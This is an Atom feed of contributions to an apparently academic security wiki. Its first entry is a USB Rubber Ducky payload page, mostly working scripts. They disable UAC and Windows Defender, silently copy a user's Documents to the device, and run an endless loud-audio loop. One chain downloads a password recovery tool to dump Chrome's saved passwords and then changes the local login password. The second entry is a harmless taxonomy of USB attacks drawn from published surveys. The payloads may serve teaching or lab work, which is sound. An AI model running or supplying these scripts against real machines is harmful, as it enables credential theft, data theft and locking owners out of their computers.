<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=TLee</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=TLee"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/TLee"/>
	<updated>2026-09-10T14:36:22Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17908</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17908"/>
		<updated>2025-05-19T16:37:29Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file &lt;br /&gt;
is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. A further challenge in creating the script was that the ads disappeared when recognizing that development tools were opened.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: newest Chrome browser version by 72th Nov 2024&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING password&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;path\to\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING password&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;path\to\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;path\to\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;buttonclass&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;iframeid&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;divid&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra user notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References for the attack payload:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17157</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17157"/>
		<updated>2024-12-16T15:39:53Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Taxonomy based on attack characteristics */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== USB Attack Taxonomy Variants==&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3:  By Mamchenko and Sabanov (2019) analyzed cyberattacks- and USB-based attacks taxonomies&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection, see Fig. 3, they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
